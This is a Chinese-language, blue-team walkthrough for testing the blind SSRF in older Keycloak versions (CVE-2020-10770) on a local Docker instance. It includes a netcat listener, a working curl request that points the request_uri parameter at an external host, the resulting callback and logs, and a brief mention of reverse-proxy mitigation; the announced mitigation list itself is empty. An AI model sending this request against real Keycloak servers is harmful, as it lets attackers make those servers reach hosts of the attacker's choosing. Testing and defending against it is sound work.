这是一份关于如何测试由 Lauritz Holtmann 发现的盲 SSRF (CVE-2020-10770) 的分步指南,该漏洞记录在他的博客文章中。
他还简要解释了如何测试该漏洞。这里只是更详细的说明。
所有功劳归于 Lauritz。
我在这里使用 Mac OSX 上的 Docker。
我需要三个终端,一个运行 Keycloak 实例,一个用于监听器,一个用于发送 curl 请求。
你需要一个运行中的 Keycloak 实例,版本 <= 12.0.1。
你可以使用以下命令启动一个测试实例。
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
在浏览器中访问 http://localhost:8080/auth/admin/ ,并使用用户名 "admin" 和密码 "admin" 登录。
在左侧切换到 "Clients" 菜单。这将带你进入客户端概览页面。

在右侧点击 "Create" 以创建一个新客户端。这将带你进入客户端创建页面。

为你的 Oauth2 客户端选择一个合适的 "Client ID"。我在这里使用 "blueteamoauth2client"(这就是你的 <Keycloak_Client_ID>)。如果你使用其他 Client ID,则必须更改攻击 HTTP 请求中的查询参数。点击保存以完成客户端设置。

你现在将看到我们新的 Oauth2 客户端的设置。

防御部分到此结束。
你需要一个监听器来接收我们希望通过 SSRF 触发的请求。因此,IP 和端口必须能从 Keycloak 服务器访问。
在这种情况下你不能使用 localhost,因为从 Keycloak 的角度来看,localhost 将指向容器本身。
要在 Mac OS 中获取 IP 地址,你可以使用
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
我选择在主机系统上启动监听器,端口为 4444。
nc -v -l 4444
在另一个终端中,你需要使用 curl 发送一个请求。你需要根据你的需求进行修改。
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
重要的部分有:
所以我的情况下的查询是
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
在 netcat 监听器中,你将看到类似这样的内容。
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
这意味着 Keycloak 实例向你的监听器发起了一次 HTTP 调用。
Keycloak 日志中也会有关于此的条目。
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
要缓解该漏洞,你可以采取以下任一措施。
感谢 Lauritz 发现并报告了该 SSRF 漏洞,撰写了博客文章,并提供了如何测试的初步提示。
感谢 Sebastian 提出了在反向代理中阻止包含查询参数 "request_uri" 的请求的想法。